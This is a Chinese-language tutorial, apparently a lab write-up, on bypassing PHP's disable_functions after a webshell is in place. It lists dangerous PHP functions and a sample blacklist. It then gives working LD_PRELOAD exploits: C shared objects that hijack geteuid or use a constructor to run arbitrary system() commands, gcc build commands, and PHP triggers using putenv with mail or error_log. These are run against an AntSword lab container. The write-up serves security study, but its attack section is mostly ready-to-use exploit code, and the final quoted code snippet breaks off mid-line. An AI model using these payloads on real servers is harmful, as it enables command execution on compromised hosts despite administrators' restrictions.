PHP disable_functions
disable_functions
是php.ini
中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
image-20211213225432124
先来看看一般是哪些函数需要放入 disable_functions
:
禁用函数 | 功能描述 | 危险等级 |
---|---|---|
system() | 允许执行一个外部程序并回显输出 | 高 |
exec() | 允许执行一个外部程序 | 高 |
shell_exec() | 通过 Shell 执行命令,并将执行结果作为字符串返回。 | 高 |
passthru() | 允许执行一个外部程序并回显输出 | 高 |
popen() | 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 | 高 |
proc_open() | 执行一个命令并打开文件指针用于读取以及写入。 | 高 |
proc_get_status() | 获取使用 proc_open() 所打开进程的信息。 | 高 |
chroot() | 可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。 | 高 |
chgrp() | 改变文件或目录所属的用户组。 | 高 |
chown() | 改变文件或目录的所有者。 | 高 |
ini_set() | 可用于修改、设置 PHP 环境配置参数。 | 高 |
ini_alter() | 是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 | 高 |
ini_restore() | 可用于恢复 PHP 环境配置参数到其初始值。 | 高 |
dl() | 在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 | 高 |
pfsockopen() | 建立一个 Internet 或 UNIX 域的 socket 持久连接。 | 高 |
symlink() | 在 UNIX 系统中建立一个符号链接。 | 高 |
putenv() | 用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 | 高 |
phpinfo() | 输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 | 中 |
scandir() | 列出指定路径中的文件和目录。 | 中 |
syslog() | 可调用 UNIX 系统的系统层 syslog() 函数。 | 中 |
readlink() | 返回符号连接指向的目标文件内容。 | 中 |
stream_socket_server() | 建立一个 Internet 或 UNIX 服务器连接。 | 中 |
error_log() | 将错误信息发送到指定位置(文件)。安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。 | 低 |
注:
eval()
并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。
由于很多 PHP 站点往往设置了disable_functions
来禁止用户调用某些危险函数,给 Getshell 带来了很大的不便,这里总结了以下绕过方法来绕过与突破disable_functions
,欢迎大佬指正。
寻找黑名单遗漏的危险函数
disable_functions
是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼。
拿到WebShell之后可以通过phpinfo
来寻找黑名单遗漏的危险函数。
image-20211229222906997
以下一些比较严格的disable_functions
限制项:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
利用 LD_PRELOAD 环境变量
原理简介:
LD_PRELOAD
是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
我们通过环境变量 LD_PRELOAD
劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()
、exec()
等等)仍可执行系统命令的目的。
想要利用LD_PRELOAD环境变量绕过disable_functions
需要注意以下几点:
能够上传自己的.so文件 能够控制LD_PRELOAD环境变量的值,比如**
putenv()
**函数 因为新进程启动将加载LD_PRELOAD
中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()
、imap_mail()
、mb_send_mail()
和error_log()
函数等
漏洞利用条件:
•Linux 操作系统•putenv
可用•mail
or error_log
可用,本例中禁用了 mail
但未禁用 error_log
•存在可写的目录,需要上传 .so
文件
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1
启动环境:
代码语言:javascript复制docker-compose up -d
我们的最终目的是获取 /flag 的内容, 这个文件是 644 权限,www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag。
image-20220101235220486
方法一:劫持函数
一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
基于这一思路,常见突破 disable_functions
限制执行操作系统命令的思路:
1.找到一个可以启动新进程的函数,如
mail()
函数会启动新进程/usr/sbin/sendmail
2.书写一个会被sendmail
调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如geteuid()
函数 3.运行PHP函数putenv()
,设定我们的so文件为LD_PRELOAD
,设置后新进程启动时将优先加载我们设置的so文件 4.运行PHP的mail()
函数,这时sendmail会优点调用我们书写的getegid同名函数,达到劫持执行恶意代码的效果
首先查看sendmail会调用那些函数,这里我们选择getegid函数,也可以是其他函数进行劫持
代码语言:javascript复制readelf -Ws /usr/sbin/sendmail
# readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看
image-20220101234332864
靶场突破:
首先在本地编写hack.c
文件,目的为显示当前目录下文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("tac /flag > /var/www/html/flag.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
将c文件编译为so文件
代码语言:javascript复制gcc hack.c -o hack.so -shared -fPIC
使用蚁剑将hack.so
上传至目标靶机
image-20220101232524908
使用蚁剑在目标靶机上写入php文件,设置环境变量并执行mail()
函数
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
mail("","","","");
?>
但是在浏览器中访问.php文件,未出现flag,猜测mail
函数被禁用,可以通过写入phpinfo()查看
image-20220101233507576
sendmail也会调用error_log
,修改php文件如下:
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
error_log("a",1);
?>
浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件
image-20220101234446832
方法一:预加载共享对象
在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function。
系统通过LD_PRELOAD
预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function
。
gcc允许为函数设置如下属性,可以让其修饰的函数在mail()
函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。
__attribute__((__constructor__))
// constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数
编写hack.c
代码
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd); // 执行命令
}
将c文件编译为so文件,并使用蚁剑将hack.so
上传至目标靶机
gcc hack.c -o hack.so -shared -fPIC
使用蚁剑在目标靶机上写入php文件,设置环境变量并执行error_log()
函数
<?php
putenv("CMD=tac /flag > /var/www/html/flag.txt"); # 要执行的命令
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
error_log("a",1);
?>
浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件
image-20220102000255462
注:unsetenv()
可能在CentOS上无效,因为CentOS自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD
就又被劫持,导致无限循环,可以使用全局变量 extern char** environ
删除,实际上,unsetenv()
就是对 environ
的简单封装实现的环境变量删除功能。
在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:
代码语言:javascript复制#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '